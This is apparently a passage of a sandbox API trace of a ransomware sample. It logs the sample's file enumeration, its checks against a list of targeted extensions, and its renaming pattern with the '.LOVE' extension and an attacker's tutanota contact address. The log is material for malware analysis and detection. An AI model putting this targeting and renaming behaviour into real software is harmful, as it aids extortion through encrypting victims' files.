lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0198.438] lstrlenW (lpString=".jpg") returned 4 [0198.438] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.438] lstrcmpiW (lpString1=".avi", lpString2=".LOVE") returned -1 [0198.438] lstrlenW (lpString="boxed-split.avi") returned 15 [0198.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0198.549] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=84190) returned 1 [0198.549] CloseHandle (hObject=0x2f0) returned 1 [0198.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0198.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0198.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.914] lstrlenW (lpString=".doc") returned 4 [0198.914] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.914] lstrlenW (lpString=".docx") returned 5 [0198.914] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0198.914] lstrlenW (lpString=".pdf") returned 4 [0198.914] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.914] lstrlenW (lpString=".xls") returned 4 [0198.914] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.914] lstrlenW (lpString=".xlsx") returned 5 [0198.914] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0198.914] lstrlenW (lpString=".ppt") returned 4 [0198.914] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.914] lstrlenW (lpString=".zip") returned 4 [0198.914] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.914] lstrlenW (lpString=".rar") returned 4 [0198.915] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.915] lstrlenW (lpString=".bz2") returned 4 [0198.915] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.915] lstrlenW (lpString=".7z") returned 3 [0198.915] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.915] lstrlenW (lpString=".dbf") returned 4 [0198.915] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.915] lstrlenW (lpString=".1cd") returned 4 [0198.915] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.915] lstrlenW (lpString=".jpg") returned 4 [0198.915] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.915] lstrlenW (lpString=".doc") returned 4 [0198.915] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.915] lstrlenW (lpString=".docx") returned 5 [0198.915] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0198.915] lstrlenW (lpString=".pdf") returned 4 [0198.915] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.915] lstrlenW (lpString=".xls") returned 4 [0198.915] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.915] lstrlenW (lpString=".xlsx") returned 5 [0198.915] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0198.915] lstrlenW (lpString=".ppt") returned 4 [0198.915] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.915] lstrlenW (lpString=".zip") returned 4 [0198.915] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.916] lstrlenW (lpString=".rar") returned 4 [0198.916] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.916] lstrlenW (lpString=".bz2") returned 4 [0198.916] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.916] lstrlenW (lpString=".7z") returned 3 [0198.916] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.916] lstrlenW (lpString=".dbf") returned 4 [0198.916] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.916] lstrlenW (lpString=".1cd") returned 4 [0198.916] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.916] lstrlenW (lpString=".jpg") returned 4 [0198.916] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.916] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0198.916] lstrlenW (lpString="ea.xml") returned 6 [0198.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0199.200] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=384) returned 1 [0199.202] CloseHandle (hObject=0x328) returned 1 [0199.203] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0199.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0199.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.209] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.215] lstrlenW (lpString=".doc") returned 4 [0199.215] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.215] lstrlenW (lpString=".docx") returned 5 [0199.215] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0199.215] lstrlenW (lpString=".pdf") returned 4 [0199.215] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.215] lstrlenW (lpString=".xls") returned 4 [0199.215] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.215] lstrlenW (lpString=".xlsx") returned 5 [0199.215] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0199.215] lstrlenW (lpString=".ppt") returned 4 [0199.215] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.215] lstrlenW (lpString=".zip") returned 4 [0199.215] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.215] lstrlenW (lpString=".rar") returned 4 [0199.215] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.215] lstrlenW (lpString=".bz2") returned 4 [0199.215] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.215] lstrlenW (lpString=".7z") returned 3 [0199.215] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.215] lstrlenW (lpString=".dbf") returned 4 [0199.215] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.215] lstrlenW (lpString=".1cd") returned 4 [0199.215] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.215] lstrlenW (lpString=".jpg") returned 4 [0199.215] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.215] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.215] lstrlenW (lpString=".doc") returned 4 [0199.216] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.216] lstrlenW (lpString=".docx") returned 5 [0199.216] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0199.216] lstrlenW (lpString=".pdf") returned 4 [0199.216] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.216] lstrlenW (lpString=".xls") returned 4 [0199.216] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.216] lstrlenW (lpString=".xlsx") returned 5 [0199.216] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0199.216] lstrlenW (lpString=".ppt") returned 4 [0199.216] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.216] lstrlenW (lpString=".zip") returned 4 [0199.216] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.216] lstrlenW (lpString=".rar") returned 4 [0199.216] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.216] lstrlenW (lpString=".bz2") returned 4 [0199.216] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.216] lstrlenW (lpString=".7z") returned 3 [0199.216] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.216] lstrlenW (lpString=".dbf") returned 4 [0199.216] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.216] lstrlenW (lpString=".1cd") returned 4 [0199.216] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.216] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0199.216] lstrlenW (lpString=".jpg") returned 4 [0199.216] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.216] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0199.216] lstrlenW (lpString="base_ca.xml") returned 11 [0199.217] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a0 [0200.208] GetFileSizeEx (in: hFile=0x2a0, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=3529) returned 1 [0200.208] CloseHandle (hObject=0x2a0) returned 1 [0200.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0200.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0200.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0200.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0200.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0200.481] lstrlenW (lpString=".doc") returned 4 [0200.481] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.481] lstrlenW (lpString=".docx") returned 5 [0200.481] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0200.481] lstrlenW (lpString=".pdf") returned 4 [0200.481] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.481] lstrlenW (lpString=".xls") returned 4 [0200.481] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.481] lstrlenW (lpString=".xlsx") returned 5 [0200.481] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0200.481] lstrlenW (lpString=".ppt") returned 4 [0200.481] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.481] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0200.481] lstrlenW (lpString=".zip") returned 4 [0200.481] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.481] lstrlenW (lpString=".rar") returned 4 [0200.481] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.481] lstrlenW (lpString=".bz2") returned 4 [0200.481] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.482] lstrlenW (lpString=".7z") returned 3 [0200.482] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0200.482] lstrlenW (lpString=".dbf") returned 4 [0200.482] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0200.482] lstrlenW (lpString=".1cd") returned 4 [0200.482] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0200.482] lstrlenW (lpString=".jpg") returned 4 [0200.482] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0200.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0200.482] lstrlenW (lpString=".doc") returned 4 [0200.482] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.482] lstrlenW (lpString=".docx") returned 5 [0200.482] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0200.482] lstrlenW (lpString=".pdf") returned 4 [0200.482] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.482] lstrlenW (lpString=".xls") returned 4 [0200.482] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.482] lstrlenW (lpString=".xlsx") returned 5 [0200.482] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0200.482] lstrlenW (lpString=".ppt") returned 4 [0200.482] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0200.482] lstrlenW (lpString=".zip") returned 4 [0200.483] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.483] lstrlenW (lpString=".rar") returned 4 [0200.483] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.483] lstrlenW (lpString=".bz2") returned 4 [0200.483] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.483] lstrlenW (lpString=".7z") returned 3 [0200.483] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0200.483] lstrlenW (lpString=".dbf") returned 4 [0200.483] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0200.483] lstrlenW (lpString=".1cd") returned 4 [0200.483] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0200.483] lstrlenW (lpString=".jpg") returned 4 [0200.483] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.483] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0200.483] lstrlenW (lpString="main.xml") returned 8 [0200.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0200.484] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=44506) returned 1 [0200.484] CloseHandle (hObject=0x2d8) returned 1 [0200.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0200.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0200.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0200.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0200.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0200.484] lstrlenW (lpString=".doc") returned 4 [0200.484] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.484] lstrlenW (lpString=".docx") returned 5 [0200.484] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0200.484] lstrlenW (lpString=".pdf") returned 4 [0200.484] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.484] lstrlenW (lpString=".xls") returned 4 [0200.484] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.484] lstrlenW (lpString=".xlsx") returned 5 [0200.484] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0200.484] lstrlenW (lpString=".ppt") returned 4 [0200.484] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0200.485] lstrlenW (lpString=".zip") returned 4 [0200.485] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.485] lstrlenW (lpString=".rar") returned 4 [0200.485] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.485] lstrlenW (lpString=".bz2") returned 4 [0200.485] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.485] lstrlenW (lpString=".7z") returned 3 [0200.485] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0200.485] lstrlenW (lpString=".dbf") returned 4 [0200.485] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0200.485] lstrlenW (lpString=".1cd") returned 4 [0200.485] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0200.485] lstrlenW (lpString=".jpg") returned 4 [0200.485] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0200.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0200.485] lstrlenW (lpString=".doc") returned 4 [0200.485] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.485] lstrlenW (lpString=".docx") returned 5 [0200.485] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0200.485] lstrlenW (lpString=".pdf") returned 4 [0200.485] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.485] lstrlenW (lpString=".xls") returned 4 [0200.485] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.486] lstrlenW (lpString=".xlsx") returned 5 [0200.486] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0200.486] lstrlenW (lpString=".ppt") returned 4 [0200.486] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0200.486] lstrlenW (lpString=".zip") returned 4 [0200.486] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.486] lstrlenW (lpString=".rar") returned 4 [0200.486] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.486] lstrlenW (lpString=".bz2") returned 4 [0200.486] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.486] lstrlenW (lpString=".7z") returned 3 [0200.486] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0200.486] lstrlenW (lpString=".dbf") returned 4 [0200.486] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0200.486] lstrlenW (lpString=".1cd") returned 4 [0200.486] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml") returned 73 [0200.486] lstrlenW (lpString=".jpg") returned 4 [0200.486] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.486] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0200.486] lstrlenW (lpString="oskclearuibase.xml") returned 18 [0200.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0201.549] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=737) returned 1 [0201.549] CloseHandle (hObject=0x2d8) returned 1 [0201.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml")) returned 0x20 [0201.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0201.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0201.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0201.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\oskclearuibase.xml") returned 94 [0201.550] lstrlenW (lpString=".doc") returned 4 [0201.550] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.550] lstrlenW (lpString=".docx") returned 5 [0201.550] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0201.550] lstrlenW (lpString=".pdf") returned 4 [0201.550] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.550] lstrlenW (lpString=".xls") returned 4 [0201.550] lstrcmpiW 